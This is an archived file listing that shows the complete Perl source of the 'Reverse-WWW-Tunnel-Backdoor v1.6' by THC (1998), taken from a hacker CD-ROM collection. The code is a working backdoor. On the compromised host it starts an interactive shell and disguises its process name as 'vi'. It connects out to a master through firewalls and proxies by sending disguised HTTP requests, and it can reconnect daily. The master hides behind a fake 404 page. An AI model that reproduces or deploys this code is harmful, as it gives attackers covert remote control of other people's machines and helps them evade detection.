home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / rwwwshell-1_6.perl < prev    next >
Encoding:
Text File  |  1998-11-05  |  12.6 KB  |  336 lines

  1. #!/usr/bin/perl
  2. #
  3. # Reverse-WWW-Tunnel-Backdoor v1.6
  4. # (c) 1998 by van Hauser / [THC] - The Hacker's Choice <vh@reptile.rug.ac.be>
  5. # Check out http://r3wt.base.org for updates
  6. # Proof-of-Concept Program for the paper "Placing Backdoors through Firewalls"
  7. # available at the website above in the "Articles" section.
  8. #
  9.  
  10. # Greets to all THC, ADM, arF and #bluebox guys
  11.  
  12. # verified to work on Linux, Solaris, AIX and OpenBSD
  13.  
  14. # BUGS: some Solaris machines: select(3) is broken, won't work there
  15. #    on some systems Perl's recv is broken :-( (AIX, OpenBSD) ...
  16. #    we can't make proper receive checks here. Workaround implemented.
  17. #
  18. # HISTORY:
  19. # v1.6: included www-proxy authentication ;-))
  20. # v1.4: porting to various unix types (and I thought perl'd be portable...)
  21. # v1.3: initial public release of the paper including this tool
  22.  
  23. #
  24. # GENERAL CONFIG (except for $MASK, everything must be the same
  25. #          for MASTER and SLAVE is this section!)
  26. #
  27. $CGI_PREFIX="/cgi-bin/order?";    # should look like cgi. "?" as last char!
  28. $MASK="vi";            # for masking the program's process name
  29. $PASSWORD="THC";        # anything, nothing you have to rememeber
  30.                 # (not a real "password" anyway)
  31. #
  32. # MASTER CONFIG (specific for the MASTER)
  33. #
  34. $LISTEN_PORT=8080;    # on which port to listen (80 [needs root] or 8080)
  35. $SERVER="127.0.0.1";    # the host to run on (ip/dns) (the SLAVE needs this!)
  36.  
  37. #
  38. # SLAVE CONFIG (specific for the SLAVE)
  39. #
  40. $SHELL="/bin/sh -i";    # program to execute (e.g. /bin/sh)
  41. $DELAY="3";        # time to wait for output after your command(s)
  42. #$TIME="00:01";        # time when to connect to the master (unset if now)
  43. #$DAILY="yes";        # tries to connect once daily if set with something
  44. #$PROXY="127.0.0.1";    # set this with the Proxy if you must use one
  45. #$PROXY_PORT="3128";    # set this with the Proxy Port if you must use one
  46. #$PROXY_USER="user";    # username for proxy authentication
  47. #$PROXY_PASSWORD="pass";    # password for proxy authentication
  48. #$DEBUG="";        # for debugging purpose, turn off when in production
  49. $BROKEN_RECV="yes";    # For AIX & OpenBSD, NOT for Linux & Solaris
  50.  
  51. # END OF CONFIG        # nothing for you to do after this point #
  52.  
  53. ################## BEGIN MAIN CODE ##################
  54.  
  55. require 5.002;
  56. use Socket;
  57.  
  58. $|=1;                # next line changes our process name
  59. if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";}  $0=$MASK; }
  60. undef $DAILY   if (! $TIME);
  61. if ( !($PROXY) || !($PROXY_PORT) ) {
  62.     undef $PROXY;
  63.     undef $PROXY_PORT;
  64. }
  65. $protocol = getprotobyname('tcp');
  66.  
  67. if ($ARGV[0] ne "") {
  68.     if ($ARGV[0] eq "-h") {
  69.         print STDOUT "no commandline option : daemon mode\n"; 
  70.         print STDOUT "using \"-h\" as option  : this help\n";
  71.         print STDOUT "any other option      : slave mode\n";
  72.         exit(0);
  73.     } else {
  74.         print STDOUT "starting in slave mode\n";
  75.         $SLAVE_MODE = "yeah";
  76.     }
  77. }
  78.  
  79. if (! $SLAVE_MODE) { 
  80.     &master;
  81. } else {
  82.     &slave;
  83. }
  84. # END OF MAIN FUNCTION
  85.  
  86. ############### SLAVE FUNCTION ###############
  87.  
  88. sub slave {
  89.     $pid = 0;
  90.     if ($PROXY) {        # setting the real config (for Proxy Support)
  91.         $REAL_SERVER = $PROXY;
  92.         $REAL_PORT = $PROXY_PORT;
  93.         $REAL_PREFIX = "GET http://" . $SERVER . ":" . $LISTEN_PORT
  94.             . $CGI_PREFIX;
  95.         $PROXY_SUFFIX = "Pragma: no-cache\n";
  96.         if ( $PROXY_USER && USER_PASSWORD ) {
  97.             &base64encoding;
  98.             $PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE;
  99.         }
  100.     } else {
  101.         $REAL_SERVER = $SERVER;
  102.         $REAL_PORT = $LISTEN_PORT;
  103.         $REAL_PREFIX = "GET " . $CGI_PREFIX;
  104.     }
  105. AGAIN:    if ($pid) { kill 9, $pid; }
  106.     if ($TIME) {            # wait until the specified $TIME
  107.         $TIME =~ s/^0//;    $TIME =~ s/:0/:/;
  108.         (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
  109.             = localtime(time);
  110.         $t=$hour . ":" . $min;
  111.         while ($TIME ne $t) {
  112.             sleep(28); # every 28 seconds we look at the watch
  113.             (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
  114.                 = localtime(time);
  115.             $t=$hour . ":" .$min;
  116.         }
  117.     }
  118.     print STDERR "Slave activated\n"    if $DEBUG;
  119.     if ($DAILY) {            # if we must connect daily, we'll
  120.         if (fork) {        # fork the daily shell process to
  121.             sleep(69);    # ensure the master control process
  122.             goto AGAIN;    # won't get stuck by a fucking cmd
  123.         }            # the user executed.
  124.     print STDERR "forked\n" if $DEBUG;
  125.     }
  126.     $address = inet_aton($REAL_SERVER) || die "can't resolve server\n";
  127.     $remote = sockaddr_in($REAL_PORT, $address);
  128.     $forked = 0;
  129. GO:    close(THC);
  130.     socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
  131.         or die "can't create socket\n";
  132.     setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
  133.     if (! $forked) {        # fork failed? fuck, let's try again
  134.         pipe R_IN, W_IN;        select W_IN;  $|=1;
  135.         pipe R_OUT, W_OUT;      select W_OUT; $|=1;
  136.         $pid = fork;
  137.         if (! defined $pid) {
  138.             close THC;
  139.             close R_IN;    close W_IN;
  140.             close R_OUT;    close W_OUT;
  141.             goto GO;
  142.         }
  143.         $forked = 1;
  144.     }
  145.     if (! $pid) {           # this is the child process (execs $SHELL)
  146.         close R_OUT;    close W_IN;    close THC;
  147.         print STDERR "forking $SHELL in child\n"    if $DEBUG;
  148.         open STDIN,  "<&R_IN";
  149.         open STDOUT, ">&W_OUT";
  150.         open STDERR, ">&W_OUT";
  151.         exec $SHELL || print W_OUT "couldn't spawn $SHELL\n";
  152.         close R_IN;     close W_OUT;
  153.         exit(0);
  154.     } else {                # this is the parent (data control + network)
  155.         close R_IN;
  156.         sleep($DELAY);    # we wait $DELAY for the commands to complete
  157.         vec($rs, fileno(R_OUT), 1) = 1;
  158.         print STDERR "before: allwritten2stdin\n"    if $DEBUG;
  159.         select($r = $rs, undef, undef, 30);
  160.         print STDERR "after : wait for allwritten2stdin\n" if $DEBUG;
  161.         sleep(1);    # The following readin of the command output
  162.         $output = "";    # looks weird. It must be! every system
  163.         vec($ws, fileno(W_OUT), 1) = 1;     # behaves different :-((
  164.         print STDERR "before: readwhiledatafromstdout\n"   if $DEBUG;
  165.         while (select($w = $ws, undef, undef, 1)) {
  166.             read R_OUT, $readout, 1 || last;
  167.             $output = $output . $readout;
  168.         }
  169.         print STDERR "after : readwhiledatafromstdout\n"   if $DEBUG;
  170.         print STDERR "before: fucksunprob\n"    if $DEBUG;
  171.         vec($ws, fileno(W_OUT), 1) = 1;
  172.         while (! select(undef, $w=$ws, undef, 0.001)) {
  173.             read R_OUT, $readout, 1 || last;
  174.             $output = $output . $readout;
  175.         }
  176.         print STDERR "after : fucksunprob\n"    if $DEBUG;
  177.         print STDERR "send 0byte to stdout, fail->exit\n"   if $DEBUG;
  178.         print W_OUT "\000" || goto ENDE;
  179.         print STDERR "before: readallstdoutdatawhile!eod\n" if $DEBUG;
  180.         while (1) {
  181.             read R_OUT, $readout, 1 || last;
  182.             last  if ($readout eq "\000");
  183.             $output = $output . $readout;
  184.         }
  185.         print STDERR "after : readallstdoutdatawhile!eod\n" if $DEBUG;
  186.         &uuencode;    # does the encoding of the shell output
  187.         $encoded = $REAL_PREFIX . $encoded;
  188.         $encoded = $encoded . $PROXY_SUFFIX    if ($PROXY);
  189.         $encoded = $encoded . "\n";
  190.         print STDERR "connecting to remote, fail->exit\n" if $DEBUG;
  191.         connect(THC, $remote) || goto ENDE;    # connect to master
  192.         print STDERR "send encoded data, fail->exit\n" if $DEBUG;
  193.         send (THC, $encoded, 0) || goto ENDE;    # and send data
  194.         $input = "";
  195.         vec($rt, fileno(THC), 1) = 1;  # wait until master sends reply
  196.         print STDERR "before: wait4answerfromremote\n"    if $DEBUG;
  197.         while (! select($r = $rt, undef, undef, 0.00001)) {}
  198.         print STDERR "after : wait4answerfromremote\n"    if $DEBUG;
  199.         print STDERR "read data from socket until eod\n" if $DEBUG;
  200.         $error="no";
  201.         while (1) {        # read until EOD (End Of Data)
  202.             print STDERR "?"    if $DEBUG;
  203.     # OpenBSD 2.2 can't recv here! can't get any data! sucks ...
  204.             recv (THC, $readin, 1, 0) || undef $error;
  205.             if ((! $error) and (! $BROKEN_RECV)) { goto OK; }
  206.             print STDERR "!"    if $DEBUG;
  207.             goto OK  if (($readin eq "\000") or ($readin eq "\n")
  208.                 or ($readin eq ""));
  209.             $input = $input . $readin;
  210.         }
  211. OK:        print STDERR "\nall data read, entering OK\n"    if $DEBUG;
  212.         $input =~ s/\n//gs;
  213.         &uudecode;        # decoding the data from the master
  214.         print STDERR "if password not found -> exit\n"    if $DEBUG;
  215.         goto ENDE  if ( $decoded =~ m/^$PASSWORD/s == 0);
  216.         $decoded =~ s/^$PASSWORD//;
  217.         print STDERR "writing input data to $SHELL\n"    if $DEBUG;
  218.         print W_IN "$decoded" || goto ENDE;    # sending the data
  219.         sleep(1);                # to the shell proc.
  220.         print STDERR "jumping to GO\n"    if $DEBUG;
  221.         goto GO;
  222.     }
  223. ENDE:    kill 9, $pid;    $pid = 0;
  224.     exit(0);
  225. } # END OF SLAVE FUNCTION
  226.  
  227. ############### MASTER FUNCTION ###############
  228.  
  229. sub master {
  230.     socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
  231.         or die "can't create socket\n";
  232.     setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
  233.     bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n";
  234.     listen(THC, 3) || die "can't listen\n";        # print the HELP
  235.     print STDOUT '
  236. Welcome to the Reverse-WWW-Tunnel-Backdoor v1.6 by van Hauser / THC ...
  237.  
  238. Introduction:     Wait for your SLAVE to connect, examine it\'s output and then
  239.         type in your commands to execute on SLAVE. You\'ll have to
  240.         wait min. the set $DELAY seconds before you get the output
  241.         and can execute the next stuff. Use ";" for multiple commands.
  242.         Trying to execute interactive commands may give you headache
  243.         so beware. Your SLAVE may hang until the daily connect try
  244.         (if set - otherwise you lost).
  245.         You also shouldn\'t try to view binary data too ;-)
  246.         "echo bla >> file", "cat >> file <<- EOF", sed etc. are your
  247.         friends if you don\'t like using vi in a delayed line mode ;-)
  248.         To exit this program on any time without doing harm to either
  249.         MASTER or SLAVE just press Control-C.
  250.         Now have fun.
  251. ';
  252.  
  253. YOP:    print STDOUT "\nWaiting for connect ...";
  254.     $remote=accept (S, THC)  ||  goto YOP;        # get the connection
  255.     ($r_port, $r_slave)=sockaddr_in($remote);    # and print the SLAVE
  256.     $slave=gethostbyaddr($r_slave, AF_INET);    # data.
  257.     $slave="unresolved" if ($slave eq "");
  258.     print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n";
  259.     select S;    $|=1;
  260.     select STDOUT;    $|=1;
  261.     $input = "";
  262.     vec($socks, fileno(S), 1) = 1;
  263.     $error="no";
  264.     while (1) {            # read the data sent by the slave
  265.         while (! select($r = $socks, undef, undef, 0.00001)) {}
  266.         recv (S, $readin, 80, 0) || undef $error;
  267.         if ((! $error) and (! $BROKEN_RECV)) {
  268.             print STDOUT "[disconnected]\n";
  269.         }
  270.         $readin =~ s/\r//g;
  271.         $input = $input . $readin;
  272.         last  if ( $input =~ m/\n\n/s );
  273.     }
  274.     &hide_as_broken_webserver  if ( $input =~ m/$CGI_PREFIX/s == 0 );
  275.     $input =~ s/^.*($CGI_PREFIX)\??//s;
  276.     $input =~ s/\n.*$//s;
  277.     &uudecode;        # decoding the data from the slave
  278.     &hide_as_broken_webserver  if ( $decoded =~ m/^$PASSWORD/s == 0 );
  279.     $decoded =~ s/^$PASSWORD//s;
  280.     $decoded = "[Warning! No output from remote!]\n>" if ($decoded eq "");
  281.     print STDOUT "$decoded";    # showing the slave output to the user
  282.     $output = <STDIN>;        # and get his input.
  283.     &uuencode;        # encode the data for the slave
  284.     send (S, $encoded, 0) || die "\nconnection lost!\n";    # and send it
  285.     close (S);
  286.     print STDOUT "sent.\n";
  287.     goto YOP;        # wait for the next connect from the slave
  288. } # END OF MASTER FUNCTION
  289.  
  290. ###################### MISC. FUNCTIONS #####################
  291.  
  292. sub uuencode {    # does the encoding stuff for error-free data transfer via WWW
  293.     $output = $PASSWORD . $output;        # PW is for error checking and
  294.         $uuencoded = pack "u", "$output";    # preventing sysadmins from
  295.         $uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-'    # sending you weird
  296.                         /'zcadefghjklmnopqrstuv'    # data. No real
  297.                         /;                # security!
  298.         $uuencoded =~ tr/"'"/'b'/;
  299.     if ( ($PROXY) && ($SLAVE_MODE) ) {# proxy drops request if > 4kb
  300.         $codelength = (length $uuencoded) + (length $REAL_PREFIX) +12;
  301.         $cut_length = 4099 - (length $REAL_PREFIX);
  302.         $uuencoded = pack "a$cut_length", $uuencoded
  303.             if ($codelength > 4111);
  304.     }
  305.         $encoded = $uuencoded;
  306.     $encoded = $encoded . " HTTP/1.0\n"    if ($SLAVE_MODE);
  307. } # END OF UUENCODE FUNCTION
  308.  
  309. sub uudecode {    # does the decoding of the data stream
  310.     $input =~     tr/'zcadefghjklmnopqrstuv'
  311.             /'\n)=(:;&><,#$*%]!\@"`\\\-'
  312.             /;
  313.     $input =~     tr/'b'/"'"/;
  314.     $decoded = unpack "u", "$input";
  315. } # END OF UUDECODE FUNCTION
  316.  
  317. sub base64encoding {    # does the base64 encoding for proxy passwords
  318.     $encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD;
  319.     $encoded_string = substr(pack('u', $encode_string), 1);
  320.     chomp($encoded_string);
  321.     $encoded_string =~ tr|` -_|AA-Za-z0-9+/|;
  322.     $padding = (3 - length($encode_string) % 3) % 3;
  323.     $encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding;
  324.     $PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string . "\n";
  325. } # END OF BASE64ENCODING FUNCTION
  326.  
  327. sub hide_as_broken_webserver {    # invalid request -> look like broken server
  328.     send (S, "<HTML><HEAD>\n<TITLE>404 File Not Found</TITLE>\n</HEAD>".
  329.          "<BODY>\n<H1>File Not Found</H1>\n</BODY></HTML>\n", 0);
  330.     close S;
  331.     print STDOUT "Warning! Illegal server access!\n";   # report to user
  332.     goto YOP;
  333. } # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION
  334.  
  335. # END OF PROGRAM # (c) 1998 by <vh@reptile.rug.ac.be>
  336.